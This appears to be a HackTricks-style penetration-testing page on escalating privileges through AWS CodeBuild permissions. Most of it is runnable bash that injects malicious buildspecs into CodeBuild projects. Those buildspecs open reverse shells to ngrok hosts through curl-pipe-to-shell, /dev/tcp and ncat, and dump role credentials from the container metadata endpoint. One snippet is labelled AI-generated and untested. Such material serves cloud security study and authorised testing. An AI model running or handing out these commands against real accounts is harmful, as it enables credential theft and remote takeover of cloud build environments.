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# AWS - Codebuild Privesc
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{{#include ../../../banners/hacktricks-training.md}}
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## codebuild
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Get more info in:
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{{#ref}}
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../aws-services/aws-codebuild-enum.md
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{{#endref}}
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### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
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Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project:
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{{#tabs }}
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{{#tab name="StartBuild" }}
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```bash
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cat > /tmp/buildspec.yml <<EOF
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version: 0.2
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phases:
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build:
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commands:
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- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
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EOF
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aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
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```
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{{#endtab }}
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{{#tab name="StartBuildBatch" }}
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```bash
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cat > /tmp/buildspec.yml <<EOF
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version: 0.2
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batch:
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fast-fail: false
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build-list:
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- identifier: build1
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env:
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variables:
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BUILD_ID: build1
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buildspec: |
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version: 0.2
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env:
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shell: sh
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phases:
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build:
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commands:
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- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
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ignore-failure: true
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EOF
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aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
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```
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{{#endtab }}
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{{#endtabs }}
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**Note**: The difference between these two commands is that:
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- `StartBuild` triggers a single build job using a specific `buildspec.yml`.
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- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).
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**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
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### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
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An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
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{{#tabs }}
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{{#tab name="Example1" }}
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```bash
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# Enumerate then env and get creds
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REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
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# Get rev shell
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REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
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JSON="{
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\"name\": \"codebuild-demo-project\",
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\"source\": {
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\"type\": \"NO_SOURCE\",
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\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
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},
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\"artifacts\": {
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\"type\": \"NO_ARTIFACTS\"
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},
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\"environment\": {
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\"type\": \"LINUX_CONTAINER\",
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\"image\": \"aws/codebuild/standard:1.0\",
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\"computeType\": \"BUILD_GENERAL1_SMALL\"
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},
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\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
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}"
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REV_PATH="/tmp/rev.json"
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printf "$JSON" > $REV_PATH
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# Create project
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aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
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# Build it
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aws codebuild start-build --project-name codebuild-demo-project
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# Wait 3-4 mins until it's executed
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# Then you can access the logs in the console to find the AWS role token in the output
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# Delete the project
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aws codebuild delete-project --name codebuild-demo-project
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```
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{{#endtab }}
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{{#tab name="Example2" }}
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```bash
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# Generated by AI, not tested
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# Create a buildspec.yml file with reverse shell command
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echo 'version: 0.2
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phases:
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build:
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commands:
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- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
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# Upload the buildspec to the bucket and give access to everyone
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aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
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# Create a new CodeBuild project with the buildspec.yml file
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aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
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# Start a build with the new project
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aws codebuild start-build --project-name reverse-shell-project
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```
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{{#endtab }}
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{{#endtabs }}
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**Potential Impact:** Direct privesc to any AWS Codebuild role.
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> [!WARNING]
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> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
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> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
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> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
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> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
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### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
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Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token
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```bash
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REV_PATH="/tmp/codebuild_pwn.json"
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# Enumerate then env and get creds
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REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
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# Get rev shell
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REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
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# You need to indicate the name of the project you want to modify
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JSON="{
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\"name\": \"<codebuild-demo-project>\",
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\"source\": {
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\"type\": \"NO_SOURCE\",
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\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
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},
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\"artifacts\": {
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\"type\": \"NO_ARTIFACTS\"
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},
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\"environment\": {
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\"type\": \"LINUX_CONTAINER\",
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\"image\": \"aws/codebuild/standard:1.0\",
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\"computeType\": \"BUILD_GENERAL1_SMALL\"
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},
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\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
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}"
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printf "$JSON" > $REV_PATH
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aws codebuild update-project --cli-input-json file://$REV_PATH
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aws codebuild start-build --project-name codebuild-demo-project
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```
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**Potential Impact:** Direct privesc to any AWS Codebuild role.
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### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
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Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**.
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{{#tabs }}
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{{#tab name="StartBuild" }}
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```sh
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REV_PATH="/tmp/codebuild_pwn.json"
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# Enumerate then env and get creds
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REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
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# Get rev shell
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REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
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JSON="{
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\"name\": \"<codebuild-demo-project>\",
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\"source\": {
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\"type\": \"NO_SOURCE\",
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\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
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},
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\"artifacts\": {
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\"type\": \"NO_ARTIFACTS\"
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},
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\"environment\": {
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\"type\": \"LINUX_CONTAINER\",
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\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
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\"computeType\": \"BUILD_GENERAL1_SMALL\",
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\"imagePullCredentialsType\": \"CODEBUILD\"
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}
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}"
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# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
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printf "$JSON" > $REV_PATH
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aws codebuild update-project --cli-input-json file://$REV_PATH
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aws codebuild start-build --project-name codebuild-demo-project
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```
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{{#endtab }}
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{{#tab name="StartBuildBatch" }}
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```sh
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REV_PATH="/tmp/codebuild_pwn.json"
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# Get rev shell
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REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
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# You need to indicate the name of the project you want to modify
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JSON="{
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\"name\": \"project_name\",
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\"source\": {
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\"type\": \"NO_SOURCE\",
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\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
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},
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\"artifacts\": {
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\"type\": \"NO_ARTIFACTS\"
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},
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\"environment\": {
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\"type\": \"LINUX_CONTAINER\",
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\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
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\"computeType\": \"BUILD_GENERAL1_SMALL\",
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\"imagePullCredentialsType\": \"CODEBUILD\"
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}
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}"
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printf "$JSON" > $REV_PATH
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# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!
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aws codebuild update-project --cli-input-json file://$REV_PATH
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aws codebuild start-build-batch --project-name codebuild-demo-project
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```
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{{#endtab }}
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{{#endtabs }}
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**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
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### SSM
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Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built.
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The codebuild project will need to have a breakpoint:
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<pre class="language-yaml"><code class="lang-yaml">phases:
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pre_build:
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commands:
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- echo Entered the pre_build phase...
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- echo "Hello World" > /tmp/hello-world
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<strong> - codebuild-breakpoint
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</strong></code></pre>
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And then:
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```bash
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aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
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aws ssm start-session --target <sessionTarget> --region <region>
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```
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For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
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### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
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An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.
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Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.
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```bash
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aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
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vim ./buildspec.yml
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# Add the following lines in the "phases > pre_builds > commands" section
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#
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# - apt-get install nmap -y
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# - ncat <IP> <PORT> -e /bin/sh
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aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
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aws codebuild start-build --project-name <project-name>
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# Wait for the reverse shell :)
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```
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You can use something like this **buildspec** to get a **reverse shell**:
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```yaml:buildspec.yml
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version: 0.2
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phases:
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build:
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commands:
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- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
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```
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**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
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> [!WARNING]
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> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload
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More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
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**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
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||||
{{#include ../../../banners/hacktricks-training.md}}
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||||
Reference in New Issue
Block a user